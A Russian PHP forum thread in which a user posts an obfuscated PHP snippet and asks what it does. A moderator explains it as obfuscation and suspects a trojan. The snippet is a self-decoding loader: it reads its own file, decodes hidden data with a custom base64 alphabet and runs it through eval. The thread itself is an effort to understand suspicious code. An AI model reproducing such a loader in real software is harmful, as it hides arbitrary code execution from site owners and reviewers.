За последние 24 часа нас посетили 18623 программиста и 1604 робота. Сейчас ищут 954 программиста ...

Закодированный зверь?

Тема в разделе "PHP для новичков", создана пользователем sharikov, 20 апр 2016.

  1. sharikov

    sharikov Зэк
    [ БАН ]

    С нами с:
    21 сен 2012
    Сообщения:
    10
    Симпатии:
    0
    После раскодирования на получился такой код:
    PHP:
    1. <?php $O000O0O00 = $GLOBALS['OOO000O00']($OOO0O0O00, 'rb');
    2. $GLOBALS['O0O00OO00']($O000O0O00, 0x51b);
    3. $OO00O00O0 = $GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00, 0x1a8), 'WrDkOHaSMT9s3AUKtd1VqFiLzu/7yImbJCo6fB8PZjgwYpvRc+QEh5Gl02ex4XnN=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
    4. eval($OO00O00O0);
    5. $OO00O00O0 = str_replace('__FILE__', "'" . $OOO0O0O00 . "'", $GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00, $OO00O0000), 'WrDkOHaSMT9s3AUKtd1VqFiLzu/7yImbJCo6fB8PZjgwYpvRc+QEh5Gl02ex4XnN=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));
    6. fclose($O000O0O00);
    7. eval($OO00O00O0);
    Подскажите пожалуйста, что же он все таки делает? Как понять?
     
  2. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    называется https://ru.wikipedia.org/wiki/Обфускация_(программное_обеспечение)

    PHP:
    1. <?php
    2. $var1 = $var2($var3, 'rb');
    3. $var4($var1, 0x51b);
    4. $var5 = $var6($var7($var4($var1, 0x1a8), 'WrDkOHaSMT9s3AUKtd1VqFiLzu/7yImbJCo6fB8PZjgwYpvRc+QEh5Gl02ex4XnN=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
    5. eval($var5);
    6. $var5 = str_replace('__FILE__', "'" . $var3 . "'", $var6($var7($var4($var1, $var8), 'WrDkOHaSMT9s3AUKtd1VqFiLzu/7yImbJCo6fB8PZjgwYpvRc+QEh5Gl02ex4XnN=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));
    7. fclose($var1);
    8. eval($var5);
    Скорее всего это троянчик. Смысла ковыряться в этом нет, т.к. делают они все всегда одно и то же - выполяют произвольный код, передаваемый им неким образом.